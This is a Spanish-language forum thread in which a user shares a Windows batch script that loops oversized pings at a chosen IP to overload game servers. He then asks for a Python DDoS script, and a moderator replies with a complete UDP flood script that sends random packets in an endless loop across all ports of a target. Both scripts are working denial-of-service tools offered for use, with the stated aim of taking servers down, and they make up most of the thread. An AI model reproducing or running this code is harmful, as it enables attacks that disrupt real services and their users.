hice una serie de comandos en .bat para utilizar ping en un juego para sobre cargar los servidores pero obviamente no se puede por el simple echo q no se le puede poner un Port especifico para enviar los packet
al servidor aquí dejo el código que utilice
@echo off
cls
:ping
color 2
echo Bienvenido %username% al programa killer
set /p IP= introducir ip:
echo %IP%
ping %IP% -t -l 65500
%ping%=pause>nul
ping %IP% -t -l 65500
pause>nul
goto ping
Hola,
Te muevo el post de sección, porque lo has posteado en el foro de Python
Gracias por compartirlo!
ANTRAX
Como puedo crear un script en python DDOS Attack con una ip y port especifico?
por eso lo puse en python tal vez no me explique bien
En Github hay varios códigos, como este:
import sys
import os
import time
import socket
import random
#Code Time
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
##############
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
#############
os.system("clear")
os.system("figlet DDos Attack")
print
print "Author : HA-MRX"
print "You Tube : https://www.youtube.com/c/HA-MRX"
print "github : https://github.com/Ha3MrX"
print "Facebook : https://www.facebook.com/muhamad.jabar222"
print
ip = raw_input("IP Target : ")
port = input("Port : ")
os.system("clear")
os.system("figlet Attack Starting")
print "[ ] 0% "
time.sleep(5)
print "[===== ] 25%"
time.sleep(5)
print "[========== ] 50%"
time.sleep(5)
print "[=============== ] 75%"
time.sleep(5)
print "[====================] 100%"
time.sleep(3)
sent = 0
while True:
sock.sendto(bytes, (ip,port))
sent = sent + 1
port = port + 1
print "Sent %s packet to %s throught port:%s"%(sent,ip,port)
if port == 65534:
port = 1
Saludos,
ANTRAX
gracias por responder :)